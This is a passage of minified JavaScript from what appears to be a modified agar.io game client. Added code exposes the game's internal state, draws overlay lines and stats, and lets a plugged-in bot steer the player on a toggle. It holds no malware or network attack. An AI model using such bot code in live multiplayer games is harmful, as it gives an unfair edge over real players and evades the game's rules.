qa || (qa = !0, $ = oa, aa = pa); break; case 32: E.push(d.getUint32(c, !0)); c += 4; break; case 49: if (null != w) break; a = d.getUint32(c, !0); c += 4; z = [ ]; for (var e = 0; e < a; ++e) { var q = d.getUint32(c, !0), c = c + 4; z.push({ id: q, name: b() }) } Ia(); break; case 50: w = [ ]; a = d.getUint32(c, !0); c += 4; for (e = 0; e < a; ++e) w.push(d.getFloat32(c, !0)), c += 4; Ia(); break; case 64: ba = d.getFloat64(c, !0), c += 8, ca = d.getFloat64(c, !0), c += 8, da = d.getFloat64(c, !0), c += 8, ea = d.getFloat64(c, !0), c += 8, N = (da + ba) / 2, O = (ea + ca) / 2, P = 1, 0 == l.length && (s = N, t = O, h = P) } } function Ua(a, b) { I = + new Date; var c = Math.random(); ra = !1; var d = a.getUint16(b, !0); b += 2; for (var e = 0; e < d; ++e) { var q = y[a.getUint32(b, !0)], f = y[a.getUint32(b + 4, !0)]; b += 8; q && f && (f.destroy(), f.ox = f.x, f.oy = f.y, f.oSize = f.size, f.nx = q.x, f.ny = q.y, f.nSize = f.size, f.updateTime = I) } for (e = 0; ; ) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++e; var g, q = a.getInt16(b, !0); b += 2; f = a.getInt16(b, !0); b += 2; g = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), m = a.getUint8(b++), p = a.getUint8(b++), h = (h << 16 | m << 8 | p).toString(16); 6 > h.length; ) h = '0' + h; var h = '#' + h, k = a.getUint8(b++), m = !!(k & 1), p = !!(k & 16); k & 2 && (b += 4); k & 4 && (b += 8); k & 8 && (b += 16); for (var n, k = ''; ; ) { n = a.getUint16(b, !0); b += 2; if (0 == n) break; k += String.fromCharCode(n) } n = k; k = null; y.hasOwnProperty(d) ? (k = y[d], k.updatePos(), k.ox = k.x, k.oy = k.y, k.oSize = k.size, k.color = h) : (k = new Ja(d, q, f, g, h, n), k.pX = q, k.pY = f); k.isVirus = m; k.isAgitated = p; k.nx = q; k.ny = f; k.nSize = g; k.updateCode = c; k.updateTime = I; n && k.setName(n); - 1 != E.indexOf(d) && - 1 == l.indexOf(k) && (document.getElementById('overlays').style.display = 'none', l.push(k), 1 == l.length && (s = k.x, t = k.y)) interNodes[d] = y[d]; } Object.keys(interNodes).forEach(function (element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !y.hasOwnProperty(element); if (isRemoved && (getLastUpdate() - interNodes[element].updateTime) > 3000) { delete interNodes[element]; } else if (isRemoved && computeDistance(getOffsetX(), getOffsetY(), interNodes[element].x, interNodes[element].y) < screenDistance()) { //console.log("Too close! Remove " + computeDistance(getOffsetX(), getOffsetY(), interNodes[element].x, interNodes[element].y) + " || " + screenDistance()); delete interNodes[element]; } }); c = a.getUint32(b, !0); b += 4; for (e = 0; e < c; e++) d = a.getUint32(b, !0), b += 4, k = y[d], null != k && k.destroy(); //ra && 0 == l.length && (setNick(originalName), restartPlz = true, console.log("Dead")) } function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } function screenDistance() { return Math.min(computeDistance (getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance (getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } function screenToGameX(x) { return (x - getWidth() / 2) / getRatio() + getX(); } function screenToGameY(y) { return (y - getHeight() / 2) / getRatio() + getY();; } f.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } f.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } f.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } function K() { if (getPlayer().length == 0) { setNick(originalName); restartPlz = false; } if (sa()) { var a = S - p / 2, b = T - r / 2; 64 > a * a + b * b || Ka == W && La == X || (Ka = W, La = X, a = new ArrayBuffer(21), b = new DataView(a), b.setUint8(0, 16), b.setFloat64(1, W, !0), b.setFloat64(9, X, !0), b.setUint32(17, 0, !0), m.send(a)) } } function Ha() { if (sa() && null != D) { var a = new ArrayBuffer(1 + 2 * D.length), b = new DataView(a); b.setUint8(0, 0); for (var c = 0; c < D.length; ++c) b.setUint16(1 + 2 * c, D.charCodeAt(c), !0); m.send(a) } } function sa() { return null != m && m.readyState == m.OPEN } function B(a) { if (sa()) { var b = new ArrayBuffer(1); (new DataView(b)).setUint8(0, a); m.send(b) } } function Ca() { ma(); f.requestAnimationFrame(Ca) } function Ba() { p = f.innerWidth; r = f.innerHeight; ka.width = A.width = p; ka.height = A.height = r; ma() } function Ma() { var a; a = 1 * Math.max(r / 1080, p / 1920); return a *= C } function Va() { if (0 != l.length) { for (var a = 0, b = 0; b < l.length; b++) a += l[b].size; a = Math.pow(Math.min(64 / a, 1), 0.4) * Ma(); h = (9 * h + a) / 10 } } function ma() { dPoints = []; dArc = []; dText = []; lines = []; var a, b, c = + new Date; ++Wa; I = + new Date; if (0 < l.length) { Va(); for (var d = a = b = 0; d < l.length; d++) l[d].updatePos(), b += l[d].x / l.length, a += l[d].y / l.length; N = b; O = a; P = h; s = (s + b) / 2; t = (t + a) / 2 } else s = (29 * s + N) / 30, t = (29 * t + O) / 30, h = (9 * h + P * Ma()) / 10; Qa(); la(); ta || e.clearRect(0, 0, p, r); if (ta) e.fillStyle = fa ? '#111111' : '#F2FBFF', e.globalAlpha = 0.05, e.fillRect(0, 0, p, r), e.globalAlpha = 1; else { e.fillStyle = fa ? '#111111' : '#F2FBFF'; e.fillRect(0, 0, p, r); e.save(); e.strokeStyle = fa ? '#AAAAAA' : '#000000'; e.globalAlpha = 0.2; e.scale(h, h); b = p / h; a = r / h; for (d = - 0.5 + ( - s + b / 2) % 50; d < b; d += 50) e.beginPath(), e.moveTo(d, 0), e.lineTo(d, a), e.stroke(); for (d = - 0.5 + ( - t + a / 2) % 50; d < a; d += 50) e.beginPath(), e.moveTo(0, d), e.lineTo(b, d), e.stroke(); e.restore() } n.sort(function (a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); e.save(); e.translate(p / 2, r / 2); e.scale(h, h); e.translate( - s, - t); for (d = 0; d < G.length; d++) G[d].draw(); for (d = 0; d < n.length; d++) n[d].draw(); if (getPlayer().length > 0) { var moveLoc = f.botList[botIndex][1](); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(e); if (qa) { $ = (3 * $ + oa) / 4; aa = (3 * aa + pa) / 4; e.save(); e.strokeStyle = '#FFAAAA'; e.lineWidth = 10; e.lineCap = 'round'; e.lineJoin = 'round'; e.globalAlpha = 0.5; e.beginPath(); for (d = 0; d < l.length; d++) e.moveTo(l[d].x, l[d].y), e.lineTo($, aa); e.stroke(); e.restore() } e.restore(); v && v.width && e.drawImage(v, p - v.width - 10, 10); H = Math.max(H, Xa()); 0 != H && (null == ga && (ga = new ha(24, '#FFFFFF')), ga.setValue('Score: ' + ~~(H / 100) + ' || Best Score: ' + ~~(sessionScore / 100) + " || Best time alive: " + bestTime + " seconds"), a = ga.render(), b = a.width, e.globalAlpha = 0.2, e.fillStyle = '#000000', e.fillRect(10, r - 10 - 24 - 10, b + 10, 34), e.globalAlpha = 1, e.drawImage(a, 15, r - 10 - 24 - 5)); Ya(); c = + new Date - c; c > 1000 / 60 ? x -= 0.01 : c < 1000 / 65 && (x += 0.01); 0.4 > x && (x = 0.4); 1 < x && (x = 1) drawStats(e); } function customRender(d) { for(var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.lineWidth = 1; for(var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.lineWidth = 1; for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new ha(18, (getDarkBool() ? '#F2FBFF' : '#111111')); text.setValue(dText[i]); var textRender = text.render(); d.drawImage(textRender, dPoints[i][0], dPoints[i][1]); } } d.lineWidth = 1; } function drawStats(d) { var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { nbSeconds = (currentDate.getSeconds() + (currentDate.getMinutes() * 60) + (currentDate.getHours() * 60 * 60)) - (lifeTimer.getSeconds() + (lifeTimer.getMinutes() * 60) + (lifeTimer.getHours() * 60 * 60)); } bestTime = Math.max(nbSeconds, bestTime); var debugStrings = []; debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); debugStrings.push("Server: " + serverIP); debugStrings.push("Survived for: " + nbSeconds + " seconds"); if (getPlayer().length > 0) { debugStrings.push("Location: " + Math.floor(getPlayer()[0].x) + ", " + Math.floor(getPlayer()[0].y)); } var offsetValue = 20; var text = new ha(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.setValue(debugStrings[i]); var textRender = text.render(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } } function Ya() { if (ya && ua.width) { var a = p / 5; e.drawImage(ua, 5, 5, a, a) } } function Xa() { for (var a = 0, b = 0; b < l.length; b++) a += l[b].nSize * l[b].nSize; return a } function Ia() { v = null; if (null != w || 0 != z.length) if (null != w || ia) { v = document.createElement('canvas'); var a = v.getContext('2d'), b = 60, b = null == w ? b + 24 * z.length : b + 180, c = Math.min(200, 0.3 * p) / 200; v.width = 200 * c; v.height = b * c; a.scale(c, c); a.globalAlpha = 0.4; a.fillStyle = '#000000'; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = '#FFFFFF'; c = null; c = 'Leaderboard'; a.font = '30px Ubuntu'; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == w) for (a.font = '20px Ubuntu', b = 0; b < z.length; ++b) c = z[b].name || 'An unnamed cell', ia || (c = 'An unnamed cell'), - 1 != E.indexOf(z[b].id) ? (l[0].name && (c = l[0].name), a.fillStyle = '#FFAAAA') : a.fillStyle = '#FFFFFF', c = b + 1 + '. ' + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < w.length; ++b) angEnd = c + w[b] * Math.PI * 2, a.fillStyle = Za[b + 1], a.beginPath(), a.moveTo(100, 140), a.arc(100, 140, 80, c, angEnd, !1), a.fill(), c = angEnd } } function Ja(a, b, c, d, e, f) { n.push(this); y[a] = this; this.id = a; this.ox = this.x = b; this.oy = this.y = c; this.oSize = this.size = d; this.color = e; this.points = [ ]; this.pointsAcc = [ ]; this.createPoints(); this.setName(f) } function ha(a, b, c, d) { a && (this._size = a); b && (this._color = b); this._stroke = !!c; d && (this._strokeColor = d) } var F = f.location.protocol, Ga = 'https:' == F; if ('agar.io' != f.location.hostname && 'localhost' != f.location.hostname && '10.10.2.13' != f.location.hostname) f.location = F + '//agar.io/'; else if (f.top != f) f.top.location = F + '//agar.io/'; else { var ka, toggle = false, toggleDraw = false, splitted = false, splitting = false, virusBait = false, tempPoint = [0, 0, 1], dPoints = [], dArc = [], dText = [], lines = [], originalName = "itmtr by iCan", sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, restartPlz = false, e, A, p, r, L = null, m = null, s = 0, t = 0, E = [ ], l = [ ], y = { }, n = [ ], G = [ ], z = [ ], S = 0, T = 0, W = - 1, X = - 1, Wa = 0, I = 0, D = null, ba = 0, ca = 0, da = 10000, ea = 10000, h = 1, u = null, Na = !0, ia = !0, va = !1, ra = !1, H = 0, fa = !1, Oa = !1, N = s = ~~((ba + da) / 2), O = t = ~~((ca + ea) / 2), P = 1, M = '', w = null, ja = !1, qa = !1, oa = 0, pa = 0, $ = 0, aa = 0, Q = 0, Za = [ '#333333', '#FF3333', '#33FF33', '#3333FF' ], ta = !1, C = 1, ya = 'ontouchstart' in f && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent), ua = new Image; ua.src = 'img/split.png'; Q = document.createElement('canvas'); if ('undefined' == typeof console || 'undefined' == typeof DataView || 'undefined' == typeof WebSocket || null == Q || null == Q.getContext || null == f.localStorage) alert('You browser does not support this game, we recommend you to use Firefox to play this'); else { var Y = null; f.setNick = function (a) { originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Ea(); D = a; Ha(); H = 0 }; f.setRegion = U; f.setSkins = function (a) { Na = a }; f.setNames = function (a) { ia = a }; f.setDarkTheme = function (a) { fa = a }; f.setColors = function (a) { va = a }; f.setShowMass = function (a) { Oa = a }; f.spectate = function () { D = null; B(1); Ea() }; f.setGameMode = function (a) { a != M && (M = a, V()) }; f.setAcid = function (a) { ta = a }; null != f.localStorage && (null == f.localStorage.AB8 && (f.localStorage.AB8 = 0 + ~~(100 * Math.random())), Q = + f.localStorage.AB8, f.ABGroup = Q); g.get(F + '//gc.agar.io', function (a) { var b = a.split(' '); a = b[0]; b = b[1] || ''; - 1 == 'DE IL PL HU BR AT UA'.split(' ').indexOf(a) && wa.push('nazi'); - 1 == ['UA'].indexOf(a) && wa.push('ussr'); R.hasOwnProperty(a) && ('string' == typeof R[a] ? u || U(R[a]) : R[a].hasOwnProperty(b) && (u || U(R[a][b]))) }, 'text'); setTimeout(function () { }, 300000); var R = { AF: 'JP-Tokyo', AX: 'EU-London', AL: 'EU-London', DZ: 'EU-London', AS: 'SG-Singapore', AD: 'EU-London', AO: 'EU-London', AI: 'US-Atlanta', AG: 'US-Atlanta', AR: 'BR-Brazil', AM: 'JP-Tokyo', AW: 'US-Atlanta', AU: 'SG-Singapore', AT: 'EU-London', AZ: 'JP-Tokyo', BS: 'US-Atlanta', BH: 'JP-Tokyo', BD: 'JP-Tokyo', BB: 'US-Atlanta', BY: 'EU-London', BE: 'EU-London', BZ: 'US-Atlanta', BJ: 'EU-London', BM: 'US-Atlanta', BT: 'JP-Tokyo', BO: 'BR-Brazil', BQ: 'US-Atlanta', BA: 'EU-London', BW: 'EU-London', BR: 'BR-Brazil', IO: 'JP-Tokyo', VG: 'US-Atlanta', BN: 'JP-Tokyo', BG: 'EU-London', BF: 'EU-London', BI: 'EU-London', KH: 'JP-Tokyo', CM: 'EU-London', CA: 'US-Atlanta', CV: 'EU-London', KY: 'US-Atlanta', CF: 'EU-London', TD: 'EU-London', CL: 'BR-Brazil', CN: 'CN-China', CX: 'JP-Tokyo', CC: 'JP-Tokyo', CO: 'BR-Brazil', KM: 'EU-London', CD: 'EU-London', CG: 'EU-London', CK: 'SG-Singapore', CR: 'US-Atlanta', CI: 'EU-London', HR: 'EU-London', CU: 'US-Atlanta', CW: 'US-Atlanta', CY: 'JP-Tokyo', CZ: 'EU-London', DK: 'EU-London', DJ: 'EU-London', DM: 'US-Atlanta', DO: 'US-Atlanta', EC: 'BR-Brazil', EG: 'EU-London', SV: 'US-Atlanta', GQ: 'EU-London', ER: 'EU-London', EE: 'EU-London', ET: 'EU-London', FO: 'EU-London', FK: 'BR-Brazil', FJ: 'SG-Singapore', FI: 'EU-London', FR: 'EU-London', GF: 'BR-Brazil', PF: 'SG-Singapore', GA: 'EU-London', GM: 'EU-London', GE: 'JP-Tokyo', DE: 'EU-London', GH: 'EU-London', GI: 'EU-London', GR: 'EU-London', GL: 'US-Atlanta', GD: 'US-Atlanta', GP: 'US-Atlanta', GU: 'SG-Singapore', GT: 'US-Atlanta', GG: 'EU-London', GN: 'EU-London', GW: 'EU-London', GY: 'BR-Brazil', HT: 'US-Atlanta', VA: 'EU-London', HN: 'US-Atlanta', HK: 'JP-Tokyo', HU: 'EU-London', IS: 'EU-London', IN: 'JP-Tokyo', ID: 'JP-Tokyo', IR: 'JP-Tokyo', IQ: 'JP-Tokyo', IE: 'EU-London', IM: 'EU-London', IL: 'JP-Tokyo', IT: 'EU-London', JM: 'US-Atlanta', JP: 'JP-Tokyo', JE: 'EU-London', JO: 'JP-Tokyo', KZ: 'JP-Tokyo', KE: 'EU-London', KI: 'SG-Singapore', KP: 'JP-Tokyo', KR: 'JP-Tokyo', KW: 'JP-Tokyo', KG: 'JP-Tokyo', LA: 'JP-Tokyo', LV: 'EU-London', LB: 'JP-Tokyo', LS: 'EU-London', LR: 'EU-London', LY: 'EU-London', LI: 'EU-London', LT: 'EU-London', LU: 'EU-London', MO: 'JP-Tokyo', MK: 'EU-London', MG: 'EU-London', MW: 'EU-London', MY: 'JP-Tokyo', MV: 'JP-Tokyo', ML: 'EU-London', MT: 'EU-London', MH: 'SG-Singapore', MQ: 'US-Atlanta', MR: 'EU-London', MU: 'EU-London', YT: 'EU-London', MX: 'US-Atlanta', FM: 'SG-Singapore', MD: 'EU-London', MC: 'EU-London', MN: 'JP-Tokyo', ME: 'EU-London', MS: 'US-Atlanta', MA: 'EU-London', MZ: 'EU-London', MM: 'JP-Tokyo', NA: 'EU-London', NR: 'SG-Singapore', NP: 'JP-Tokyo', NL: 'EU-London', NC: 'SG-Singapore', NZ: 'SG-Singapore', NI: 'US-Atlanta', NE: 'EU-London', NG: 'EU-London', NU: 'SG-Singapore', NF: 'SG-Singapore', MP: 'SG-Singapore', NO: 'EU-London', OM: 'JP-Tokyo', PK: 'JP-Tokyo', PW: 'SG-Singapore', PS: 'JP-Tokyo', PA: 'US-Atlanta', PG: 'SG-Singapore', PY: 'BR-Brazil', PE: 'BR-Brazil', PH: 'JP-Tokyo', PN: 'SG-Singapore', PL: 'EU-London', PT: 'EU-London', PR: 'US-Atlanta', QA: 'JP-Tokyo', RE: 'EU-London', RO: 'EU-London', RU: 'RU-Russia', RW: 'EU-London', BL: 'US-Atlanta', SH: 'EU-London', KN: 'US-Atlanta', LC: 'US-Atlanta', MF: 'US-Atlanta', PM: 'US-Atlanta', VC: 'US-Atlanta', WS: 'SG-Singapore', SM: 'EU-London', ST: 'EU-London', SA: 'EU-London', SN: 'EU-London', RS: 'EU-London', SC: 'EU-London', SL: 'EU-London', SG: 'JP-Tokyo', SX: 'US-Atlanta', SK: 'EU-London', SI: 'EU-London', SB: 'SG-Singapore', SO: 'EU-London', ZA: 'EU-London', SS: 'EU-London', ES: 'EU-London', LK: 'JP-Tokyo', SD: 'EU-London', SR: 'BR-Brazil', SJ: 'EU-London', SZ: 'EU-London', SE: 'EU-London', CH: 'EU-London', SY: 'EU-London', TW: 'JP-Tokyo', TJ: 'JP-Tokyo', TZ: 'EU-London', TH: 'JP-Tokyo', TL: 'JP-Tokyo', TG: 'EU-London', TK: 'SG-Singapore', TO: 'SG-Singapore', TT: 'US-Atlanta', TN: 'EU-London', TR: 'TK-Turkey', TM: 'JP-Tokyo', TC: 'US-Atlanta', TV: 'SG-Singapore', UG: 'EU-London', UA: 'EU-London', AE: 'EU-London', GB: 'EU-London', US: { AL: 'US-Atlanta', AK: 'US-Fremont', AZ: 'US-Fremont', AR: 'US-Atlanta', CA: 'US-Fremont', CO: 'US-Fremont', CT: 'US-Atlanta', DE: 'US-Atlanta', FL: 'US-Atlanta', GA: 'US-Atlanta', HI: 'US-Fremont', ID: 'US-Fremont', IL: 'US-Atlanta', IN: 'US-Atlanta', IA: 'US-Atlanta', KS: 'US-Atlanta', KY: 'US-Atlanta', LA: 'US-Atlanta', ME: 'US-Atlanta', MD: 'US-Atlanta', MA: 'US-Atlanta', MI: 'US-Atlanta', MN: 'US-Fremont', MS: 'US-Atlanta', MO: 'US-Atlanta', MT: 'US-Fremont', NE: 'US-Fremont', NV: 'US-Fremont', NH: 'US-Atlanta', NJ: 'US-Atlanta', NM: 'US-Fremont', NY: 'US-Atlanta', NC: 'US-Atlanta', ND: 'US-Fremont', OH: 'US-Atlanta', OK: 'US-Atlanta', OR: 'US-Fremont', PA: 'US-Atlanta', RI: 'US-Atlanta', SC: 'US-Atlanta', SD: 'US-Fremont', TN: 'US-Atlanta', TX: 'US-Atlanta', UT: 'US-Fremont', VT: 'US-Atlanta', VA: 'US-Atlanta', WA: 'US-Fremont', WV: 'US-Atlanta', WI: 'US-Atlanta', WY: 'US-Fremont', DC: 'US-Atlanta', AS: 'US-Atlanta', GU: 'US-Atlanta', MP: 'US-Atlanta', PR: 'US-Atlanta', UM: 'US-Atlanta', VI: 'US-Atlanta' }, UM: 'SG-Singapore', VI: 'US-Atlanta', UY: 'BR-Brazil', UZ: 'JP-Tokyo', VU: 'SG-Singapore', VE: 'BR-Brazil', VN: 'JP-Tokyo', WF: 'SG-Singapore', EH: 'EU-London', YE: 'JP-Tokyo', ZM: 'EU-London', ZW: 'EU-London' }; f.connect = Fa; f.getDarkBool = function() { return fa; } f.getMassBool = function() { return Oa; } f.getMemoryCells = function() { return interNodes; } f.getCellsArray = function() { return n; } f.getCells = function() { return y; } f.getPlayer = function() { return l; } f.getWidth = function() { return p; } f.getHeight = function() { return r; } f.getRatio = function() { return h; } f.getOffsetX = function() { return N; } f.getOffsetY = function() { return O; } f.getX = function() { return s; } f.getY = function() { return t; } f.getPointX = function() { return W; } f.getPointY = function() { return X; } f.getMouseX = function() { return S; } f.getMouseY = function() { return T; } f.getScreenDistance = function() { var temp = screenDistance(); return temp; } f.getLastUpdate = function() { return I; } f.setPoint = function(x, y) { W = x; X = y; } f.createFake = function(a, b, c, d, e, f) { var n = new Ja(a, b, c, d, e, f); return n; } f.setScore = function(a) { sessionScore = a * 100; } f.setBestTime = function(a) { bestTime = a; } f.best = function(a, b) { setScore(a); setBestTime(b); } f.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } var Z = 500, Ka = - 1, La = - 1, v = null, x = 1, ga = null, J = { }, wa = 'poland;usa;china;russia;canada;australia;spain;brazil;germany;ukraine;france;sweden;hitler;north korea;south korea;japan;united kingdom;earth;greece;latvia;lithuania;estonia;finland;norway;cia;maldivas;austria;nigeria;reddit;yaranaika;confederate;9gag;indiana;4chan;italy;bulgaria;tumblr;2ch.hk;hong kong;portugal;jamaica;german empire;mexico;sanik;switzerland;croatia;chile;indonesia;bangladesh;thailand;iran;iraq;peru;moon;botswana;bosnia;netherlands;european union;taiwan;pakistan;hungary;satanist;qing dynasty;matriarchy;patriarchy;feminism;ireland;texas;facepunch;prodota;cambodia;steam;piccolo;ea;india;kc;denmark;quebec;ayy lmao;sealand;bait;tsarist russia;origin;vinesauce;stalin;belgium;luxembourg;stussy;prussia;8ch;argentina;scotland;sir;romania;belarus;wojak;doge;nasa;byzantium;imperial japan;french kingdom;somalia;turkey;mars;pokerface;8;irs;receita federal'.split(';'), $a = [ '8', 'nasa' ], ab = [ 'm\'blob' ]; Ja.prototype = { id: 0, points: null, pointsAcc: null, name: null, nameCache: null, sizeCache: null, x: 0, y: 0, size: 0, ox: 0, oy: 0, oSize: 0, nx: 0, ny: 0, nSize: 0, updateTime: 0, updateCode: 0, drawTime: 0, destroyed: !1, isVirus: !1, isAgitated: !1, wasSimpleDrawing: !0, destroy: function () { var a; for (a = 0; a < n.length; a++) if (n[a] == this) { n.splice(a, 1); break } delete y[this.id]; a = l.indexOf(this); - 1 != a && (ra = !0, l.splice(a, 1)); a = E.indexOf(this.id); - 1 != a && E.splice(a, 1); this.destroyed = !0; G.push(this) }, getNameSize: function () { return Math.max(~~(0.3 * this.size), 24) }, setName: function (a) { if (this.name = a) null == this.nameCache ? this.nameCache = new ha(this.getNameSize(), '#FFFFFF', !0, '#000000') : this.nameCache.setSize(this.getNameSize()), this.nameCache.setValue(this.name) }, createPoints: function () { for (var a = this.getNumPoints(); this.points.length > a; ) { var b = ~~(Math.random() * this.points.length); this.points.splice(b, 1); this.pointsAcc.splice(b, 1) } 0 == this.points.length && 0 < a && (this.points.push({ c: this, v: this.size, x: this.x, y: this.y }), this.pointsAcc.push(Math.random() - 0.5)); for (; this.points.length < a; ) { var b = ~~(Math.random() * this.points.length), c = this.points[b]; this.points.splice(b, 0, { c: this, v: c.v, x: c.x, y: c.y }); this.pointsAcc.splice(b, 0, this.pointsAcc[b]) } }, getNumPoints: function () { var a = 10; 20 > this.size && (a = 5); this.isVirus && (a = 30); var b = this.size; this.isVirus || (b *= h); b *= x; return ~~Math.max(b, a) }, movePoints: function () { this.createPoints(); for (var a = this.points, b = this.pointsAcc, c = a.length, d = 0; d < c; ++d) { var e = b[(d - 1 + c) % c], f = b[(d + 1) % c]; b[d] += (Math.random() - 0.5) * (this.isAgitated ? 3 : 1); b[d] *= 0.7; 10 < b[d] && (b[d] = 10); - 10 > b[d] && (b[d] = - 10); b[d] = (e + f + 8 * b[d]) / 10 } for (var h = this, d = 0; d < c; ++d) { var g = a[d].v, e = a[(d - 1 + c) % c].v, f = a[(d + 1) % c].v; if (15 < this.size && null != L) { var l = !1, m = a[d].x, n = a[d].y; L.retrieve2(m - 5, n - 5, 10, 10, function (a) { a.c != h && 25 > (m - a.x) * (m - a.x) + (n - a.y) * (n - a.y) && (l = !0) }); !l && (a[d].x < ba || a[d].y < ca || a[d].x > da || a[d].y > ea) && (l = !0); l && (0 < b[d] && (b[d] = 0), b[d] -= 1) } g += b[d]; 0 > g && (g = 0); g = this.isAgitated ? (19 * g + this.size) / 20 : (12 * g + this.size) / 13; a[d].v = (e + f + 8 * g) / 10; e = 2 * Math.PI / c; f = this.points[d].v; this.isVirus && 0 == d % 2 && (f += 5); a[d].x = this.x + Math.cos(e * d) * f; a[d].y = this.y + Math.sin(e * d) * f } }, updatePos: function () { var a; a = (I - this.updateTime) / 120; a = 0 > a ? 0 : 1 < a ? 1 : a; var b = 0 > a ? 0 : 1 < a ? 1 : a; this.getNameSize(); if (this.destroyed && 1 <= b) { var c = G.indexOf(this); - 1 != c && G.splice(c, 1) } this.x = a * (this.nx - this.ox) + this.ox; this.y = a * (this.ny - this.oy) + this.oy; this.size = b * (this.nSize - this.oSize) + this.oSize; return b }, shouldRender: function () { return this.x + this.size + 40 < s - p / 2 / h || this.y + this.size + 40 < t - r / 2 / h || this.x - this.size - 40 > s + p / 2 / h || this.y - this.size - 40 > t + r / 2 / h ? !1 : !0 }, draw: function () { if (this.shouldRender()) { var a = !this.isVirus && !this.isAgitated && 0.35 > h; if (this.wasSimpleDrawing && !a) for (var b = 0; b < this.points.length; b++) this.points[b].v = this.size; this.wasSimpleDrawing = a; e.save(); this.drawTime = I; b = this.updatePos(); this.destroyed && (e.globalAlpha *= 1 - b); e.lineWidth = 10; e.lineCap = 'round'; e.lineJoin = this.isVirus ? 'mitter' : 'round'; va ? (e.fillStyle = '#FFFFFF', e.strokeStyle = '#AAAAAA') : (e.fillStyle = this.color, e.strokeStyle = this.color); if (a) e.beginPath(), e.arc(this.x, this.y, this.size, 0, 2 * Math.PI, !1); else { this.movePoints(); e.beginPath(); var c = this.getNumPoints(); e.moveTo(this.points[0].x, this.points[0].y); for (b = 1; b <= c; ++b) { var d = b % c; e.lineTo(this.points[d].x, this.points[d].y) } } e.closePath(); c = this.name.toLowerCase(); !this.isAgitated && Na && '' == M ? - 1 != wa.indexOf(c) ? (J.hasOwnProperty(c) || (J[c] = new Image, J[c].src = 'skins/' + c + '.png'), b = 0 != J[c].width && J[c].complete ? J[c] : null) : b = null : b = null; b = (d = b) ? - 1 != ab.indexOf(c) : !1; a || e.stroke(); e.fill(); null == d || b || (e.save(), e.clip(), e.drawImage(d, this.x - this.size, this.y - this.size, 2 * this.size, 2 * this.size), e.restore()); (va || 15 < this.size) && !a && (e.strokeStyle = '#000000', e.globalAlpha *= 0.1, e.stroke()); e.globalAlpha = 1; null != d && b && 